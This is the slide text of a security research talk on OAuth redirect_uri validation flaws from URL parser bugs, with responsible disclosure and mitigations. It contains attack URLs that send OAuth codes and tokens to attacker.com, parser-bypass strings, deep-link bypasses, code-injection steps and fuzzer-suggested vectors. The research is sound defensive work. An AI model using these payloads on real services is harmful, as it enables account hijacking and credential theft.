Make Redirection Evil Again
URL Parser Issues in OAuth

Xianbo Wang1, Wing Cheong Lau1, Ronghai Yang1,2, and Shangcheng Shi1

1The Chinese University of Hong Kong,
2Sangfor Technologies Co., Ltd
Outline

• Background
• History of Redirection Issues in OAuth
• New Threats and Exploits
  • Exploit in Browser
  • Exploit in Mobile App
  • Code injection attack
• Empirical Evaluation
• Conclusions
What is OAuth 2.0?

One account. Access all services.

Sign in with

Google
Office 365
Linkedin
Facebook
Twitter
Yahoo
Slack
How does OAuth 2.0 work?

*Use Authorization Code Flow as an example

**Provider**
- OK, please pass this temporary code to IMDB

**User**
- Here’s the code
- I authorize IMDB to access some of my resources on Facebook

**OAuth Client**
- I want to access your protected resources hosted by Facebook
How does OAuth 2.0 work?

OAuth as an authorization framework can be used for user authentication (Single-Sign On).

Identity Provider (IdP)  Provider

The ticket is valid. Here’s the resources

User’s Identity

I want to access User’s protected resources, I have the ticket

Relying Party (RP)  OAuth  Client

I have the code, please give me the ticket (Access Token)

Here’s your ticket
OAuth 2.0 Protocol Details (Authorization Code Flow)

Visit https://RP.com/login-with-idp


302 redirect: https://RP.com/cb?code=xxxxxxxxx&state=random

POST to https://IdP.com/token with data: client_secret=secretxxx&code=xxxxxxxxx&state=random&grant_type=authorization_code&redirect_uri=https://RP.com/cb

Response body: {access_token: d86c828583c5c6160e8acfee88ba1590}
OAuth 2.0 Implicit Flow

Visit https://RP.com/login-with-idp


302 redirect: https://RP.com/cb#access_token=xxxxxxxxx&state=random
The Idea of OAuth Redirection Attack

Attacker tricks victim to visit the URL: https://IdP.com/authorize?client_id=12345&response_type=code&state=random&redirect_uri=https://attacker.com/cb

"code" leaked

Code leaks to attacker’s server: https://attacker.com/cb?code=xxxxxxxxx&state=random

Assume user already logged in && authorized the RP before

Inject stolen code to RP: https://RP.com/cb?code=xxxxxxxxx
Won’t be that easy ...

Redirect URL validation rules

- Full URL ✓ safe
- String prefix ?
- Domain ?
- Scheme ? (mobile)
- Wildcard/Regex ?
History of Redirection Issues in OAuth

- **Dec 2012.** In RFC 6749 - *The OAuth 2.0 Authorization Framework*
  - The authorization server **MUST validate** redirect_uri against the registered value

- **Jan 2013.** In RFC 6819 - *OAuth 2.0 Threat Model and Security Considerations.*
  - An authorization server should require all clients to register their “redirect_uri”, and the “redirect_uri” should be the full URL.

- **Feb 2014.** In *OpenID Connect Core 1.0.*
  - It explicitly requires using *Simple String Comparison* to validate redirect_uri.

- **May 2017.** The initial draft of *OAuth 2.0 Security Best Current Practice.*
  - It put redirect_uri validation in a primary section and highlighted that server **should** use simple string comparison.
Vendor Reactions

• Mar 2015, Paypal:
  • Noticed developers to configure full redirect_uri and forced strict URL matching.

• Dec 2017, Facebook:
  • Provided a new option called Strict URL Matching and later turned it on by default. Before this change, prefix matching / domain matching is used.

• Feb 2018, Tencent QQ:
  • Noticed developers to configure full redirect_uri. Before this change, QQ was using domain matching for redirect_uri validation.
Covert Redirect Attack (2014)

Attacker tricks victim to request: https://IdP.com/authorize?...&response_type=token &redirect_uri=https://RP/goto%3furl%3dhttp://attacker.com

1st redirect: https://RP/goto?url=http://attacker.com#access_token=xxxxxx
2nd redirect: http://attacker.com#access_token=xxxxxx

Fragment (#) will be reattached in redirection

1st redirect: https://RP/goto?
url=http://attacker.com&code=xxxxxx
2nd redirect: http://attacker.com
Can we redirect to attacker.com directly?

- Criteria 1: support implicit flow
- Criteria 2: open redirect vulnerability on RP’s website
Recent Trend of URL Parser Issues

• XSS: mala, Shibuya.XSS techtalk #8, 2017
• SSRF: Orange, A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! Blackhat 2017
• Cache Poisoning: James, Practical Web Cache Poisoning, 2018
• uXSS: Tomasz, uXSS in Chrome on iOS, 2018
• Path Traversal: Orange, Breaking Parser Logic! Take Your Path Normalization Off and Pop 0days Out, Blackhat 2018
URL Parser Pipeline
Evil Slash Trick

https://evil.com/\@good.com
https://evil.com/\@good.com
https://evil.com/\@good.com
https://evil.com/\@good.com
https://evil.com/\@good.com
Server Decoding Error

https://evil.com%ff@good.com
https://evil.com%ff@good.com
https://evil.com?q@good.com
https://evil.com?q@good.com
https://evil.com?q@good.com
Browser Decoding Error

https://evil.com%bf:@good.com
https://evil.com%bf:@good.com
https://evil.com%bf:@good.com
https://evil.com?@good.com

An Edge bug? (fixed)
Tested on Edge 38.14393.1066.0
Domain Matching + Prefix Matching
url.startswith("https://good.com") && url.host == "good.com"

https://good.com.evil.com/@good.com
https://good.com.evil.com/@good.com
https://good.com.evil.com/@good.com
https://good.com.evil.com/@good.com
Malformed Scheme
Validator accept custom scheme begin with a digit

redirect_uri URL Validator in IdP 302 Response Location Header Browser

3vil.com://good.com
3vil.com://good.com
3vil.com://good.com
A Safari bug?
Tested on Safari 12.03 on MacOS 10.14.3

https://3vil.com://good.com
IPv6 Address Parsing Bug
http://[1080:0:0:8:800:200C:417A]/index.html

https://evil.com/[good.com]
https://evil.com/[good.com]
https://evil.com/[good.com]
https://evil.com/[good.com]
What about OAuth in mobile apps?
URL that links to mobile apps

```
<activity android:name="com.example.android.ExampleActivity">
<intent-filter>
  <action android:name="android.intent.action.VIEW" />
  <category android:name="android.intent.category.DEFAULT" />  
  <category android:name="android.intent.category.BROWSABLE" /> 
  <data android:scheme="https" android:host="www.imdb.com" /> 
  <data android:scheme="imdb" android:host="open.my.app" /> 
</intent-filter>
</activity>
```

- Android deep link:  imdb://open.my.app/
- Android app link:  https://www.imdb.com/
OAuth 2.0 for Native Apps (RFC 8252)

IdP server

App open the link in browser:
IdP/authorize?redirect_uri=imdb://oauth/

302 redirect: imdb://oauth/?code=xxxx

Browser invokes app through deep link

Mobile App

External User Agent
(Browser)
Exploit in Mobile: Case 1

```python
if deeplink.host == "oauth":
    OAuth.getAccessToken(deeplink.query.get("code"))
else if deeplink.host == "ad":
    ...
else:
    WebView.loadUrl(deeplink.URL.replace("imdb", "https"))
```

2. Browser invokes app with `imdb://evil.com/?code=xxxxxx`
Exploit in Mobile: Case 2

```java
if deeplink.host == "oauth":
    OAuth.getAccessToken(deeplink.query.get("code"))
else if deeplink.host == "ad":
    .......
else if deeplink.host == "imdb.com":
    Webview.loadUrl(deeplink.URL.replace("imdb", "https"))
```

- imdb://evil.com/?code=xxxxxxxx  ❌ reject
- imdb://imdb.com/?code=xxxxxxxx  ✓ open in WebView
- **Is it possible to bypass the check?**
Use URL parser bug in android.net.Uri to bypass host validation

• Bypass 1 (patched in Jan 2018)
  android.net.Uri: imdb://evil.com\@good.com  →
  WebView: https://evil.com/@good.com

• Bypass 2 (patched in Apr 2018)
  android.net.Uri: imdb://a@good.com:@evil.com  →
  WebView: https://a%40good.com:@evil.com
Checkout more code/token stealing tricks for browser/mobile in our whitepaper!
How to use the stolen code?

Inject stolen code to RP’s callback:
https://RP.com/auth_callback?
code=xxxxxxxx&state=random

POST to https://IdP.com/token with data:
client_secrets=secretxxx&code=xxxxxxxx&
grant_type=authorization_code&redirect_uri=https://RP.com/cb

Response body: {access_token: d86c828583c5c6160e8acfee88ba1590}
Can the **State** variable prevent **Code Injection Attack**?

- Incorrect assumption of some developers / bug hunters:
  - “Stolen OAuth **code** is useless, since the server validate the **state** variable”

- **Truth:**
  - Usually **state** only binds to browser session to mitigate CSRF, attacker can use his own

![Diagram](image)
Why does the redirect_uri in token request matter?

• Incorrect implementation of OAuth provider:
  • “redirect_uri in token request is valid if it matches the configured URL”
  • “ignore the check if redirect_uri doesn’t appear in token request

• Correct:
  (token_request.redirect_uri == code_request.redirect_uri) or
  (code_request.redirect_uri is not set)

• Better mitigation mechanisms:
  #3.5.1 User-Agent
  GET https://IdP.com/authorize?response_type=code&
  redirect_uri=https://attacker.com/cb&client_id=...
  POST https://IdP.com/token
  redirect_uri=https://RP.com/cb&client_secret=...
Empirical Evaluation

<table>
<thead>
<tr>
<th></th>
<th>Total</th>
<th>Vulnerable</th>
</tr>
</thead>
<tbody>
<tr>
<td>All OAuth providers we tested</td>
<td>50</td>
<td>11</td>
</tr>
<tr>
<td>Use pattern matching</td>
<td>22</td>
<td>11</td>
</tr>
<tr>
<td>Chinese online service providers</td>
<td>10</td>
<td>5</td>
</tr>
<tr>
<td>Russia online service providers</td>
<td>3</td>
<td>0</td>
</tr>
<tr>
<td>Having a Bug Bounty program</td>
<td>22</td>
<td>1</td>
</tr>
</tbody>
</table>

• Chinese OAuth providers tend to be less secure.
• Vendors with Bug Bounty programs are more secure.
<table>
<thead>
<tr>
<th>OAuth provider</th>
<th>Role of OAuth</th>
<th>Conditions of code/token stealing</th>
<th>Access hijacking methods</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>Browser</td>
<td>Click required</td>
<td>Implicit flow</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>N</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Y</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Y</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Y</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>N</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Y</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>N</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>N</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>N</td>
</tr>
</tbody>
</table>

|                |               |                                 |                          |             | Estimated # of users  | Dual-role IdP |
|                |               |                                 |                          |             |                       |               |
|                |               |                                 |                          |             | 400,000,000 +        | Y             |
|                |               |                                 |                          |             | 800,000,000 +        | Y             |
|                |               |                                 |                          |             | 380,000,000 +        | Y             |
|                |               |                                 |                          |             | 219,000,000 +        | N             |
|                |               |                                 |                          |             | 26,000,000 +         | N/A           |
|                |               |                                 |                          |             | 60,000,000 +         | N/A           |
|                |               |                                 |                          |             | 250,000,000 +        | N/A           |
|                |               |                                 |                          |             | 320,000 +            | N/A           |
**Responsible Disclosure**

- We reported to all vulnerable OAuth providers we tested.
- Got bounty in cash/points, listed in their Hall of Fame.
- Only one provider changed to use complete string matching, others simply patched URL parser bugs.
- For vendors who patched URL parser bugs, we were able to find bypasses for some of them immediately.
URL Validator Fuzzer

- Learn URL validator rules
- Fuzz based on learned rules
- Suggest attack vectors
- Try it now: 🦜 sanebow/redirect-fuzzer

```bash

[+] Learn validator rules
Domain: www.example.com
Path: /*
Scheme: [0-9a-z.]+
Port: \d+\w*
Userinfo: allowed

[+] Fine fuzzing
Special characters accepted in userinfo: backslash, %EF%BC%BF, %20

[+] Potential attack vectors
1x.evile.com://www.example.com
https://evil.com/evil.example.com
https://evil.com%EF%BC%BFexample.com
```

[Black Hat Asia 2019]
Conclusions

• For developers
  • Must use EXACT string matching to validate `redirect_uri`.
  • IdP must implement code injection mitigation correctly.
  • If it’s difficult to deprecate the use of domain matching in short term, make sure to parse URL correctly.
  • Developers should use standard compliant URL parsers (e.g., whatwg-url, galimatias).

• Hackers
  • Hunt for those OAuth providers using URL pattern/domain matching.
  • Don’t assume providers implement code injection mitigation correctly.
  • Worthwhile to examine OAuth Implementations in mobile apps.
Thanks!
Q&A